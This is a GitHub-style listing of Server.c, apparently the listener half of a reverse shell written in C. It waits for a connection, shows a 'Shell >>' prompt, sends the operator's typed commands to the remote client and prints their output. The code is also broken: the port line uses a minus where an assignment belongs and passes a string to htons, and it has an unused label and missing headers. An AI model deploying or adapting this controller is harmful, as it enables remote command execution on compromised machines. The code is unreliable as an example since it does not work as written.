-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathServer.c
More file actions
63 lines (51 loc) · 1.78 KB
/
Server.c
File metadata and controls
63 lines (51 loc) · 1.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
int main(int argc, char const *argv[]){
int sock, client_socket;
char buffer[1024];
char response[18384];
struct sockaddr_in server_address, client_address;
int i = 0, optval = 1;
socklen_t client_lenght;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0)
{
printf("Error Setting TCP SOcket Options!\n");
return 1;
}
if(argc < 2){
printf("[+] Usage: \n");
printf("[+] Example: ./server 192.168.0.100 9001 \n");
}else{
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr(argv[1]);
server_address.sin_port - htons(argv[2]);
bind(sock, (struct sockaddr *)&server_address, sizeof(server_address));
listen(sock, 5);
client_lenght = sizeof(client_address);
client_socket = accept(sock, (struct sockaddr *)&client_address, &client_lenght);
while (1){
jump:
bzero(&buffer, sizeof(buffer));
bzero(&response, sizeof(response));
printf("Shell >>", inet_ntoa(client_address.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
strtok(buffer, "\n");
write(client_socket, buffer, sizeof(buffer));
if (strncmp("q", buffer, 1) == 0)
{
break;
}
else
{
recv(client_socket, response, sizeof(response), MSG_WAITALL);
printf("%s", response);
}
}
}
}